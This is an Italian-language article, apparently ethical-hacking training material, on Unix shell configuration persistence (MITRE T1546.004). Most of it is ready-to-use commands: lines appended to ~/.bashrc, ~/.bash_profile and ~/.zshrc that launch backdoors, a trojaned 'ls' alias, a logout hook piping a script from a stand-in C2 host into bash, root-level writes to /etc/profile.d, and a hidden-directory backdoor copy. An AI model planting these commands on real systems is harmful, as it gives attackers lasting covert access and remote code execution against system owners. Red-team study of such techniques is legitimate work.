Modifiche Shell Unix: Unix Shell Configuration Modification (T1546.004)

La modifica dei file di configurazione delle shell Unix rappresenta una tecnica di persistenza particolarmente insidiosa. Gli avversari sfruttano il meccanismo automatico di esecuzione degli script di configurazione per mantenere l'accesso ai sistemi compromessi attraverso riavvii e cambi di sessione.

Questa tecnica si manifesta in due tattiche principali della kill chain: TA0003 (Persistence) per mantenere l'accesso ai sistemi e TA0004 (Privilege Escalation) quando gli script modificati vengono eseguiti con privilegi elevati. L'impatto è significativo, con 1 gruppo APT documentato, 4 malware che la implementano attivamente e 1 campagna recente che l'ha sfruttata.

Il funzionamento si basa sulla catena di esecuzione automatica degli script shell. Quando un utente apre un terminale o si connette via SSH, il sistema esegue una sequenza predefinita di file di configurazione, partendo da quelli di sistema in /etc fino a quelli utente nella home directory.

La simulazione di questa tecnica richiede comprensione della gerarchia dei file di configurazione. Per bash, il sistema esegue nell'ordine: /etc/profile, ~/.bash_profile, ~/.bash_login, ~/.profile, fermandosi al primo file esistente.

Per stabilire persistenza a livello utente, il comando più semplice è: echo 'nohup /tmp/backdoor.sh &' >> ~/.bashrc

Questo garantisce esecuzione sia per shell interattive che connessioni SSH. Per massimizzare l'affidabilità, create il payload in più posizioni:

echo '[ -f /tmp/beacon ] && /tmp/beacon' >> ~/.bash_profile
echo 'alias ls="/tmp/beacon; ls"' >> ~/.bashrc
echo 'curl -s http://c2.domain/shell.sh | bash' >> ~/.bash_logout

Su macOS 10.15+, la shell predefinita zsh richiede file diversi. Il vettore principale diventa ~/.zshrc: echo 'osascript -e "do shell script "/tmp/payload""' >> ~/.zshrc

XCSSET dimostra una tecnica più sofisticata creando un file alias separato: echo "payload" > ~/.zshrc_aliases && echo '[ -f $HOME/.zshrc_aliases ] && . $HOME/.zshrc_aliases' >> ~/.zshrc

Per privilegi elevati, target i file di sistema (richiede root): echo '/opt/malware/daemon &' >> /etc/profile.d/custom.sh

Il malware RotaJakiro usa un approccio stealth creando directory nascoste: mkdir -p ${HOME}/.gvfsd/.profile/ && cp backdoor ${HOME}/.gvfsd/.profile/svc

Per testare senza riavviare la sessione: source ~/.bashrc

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo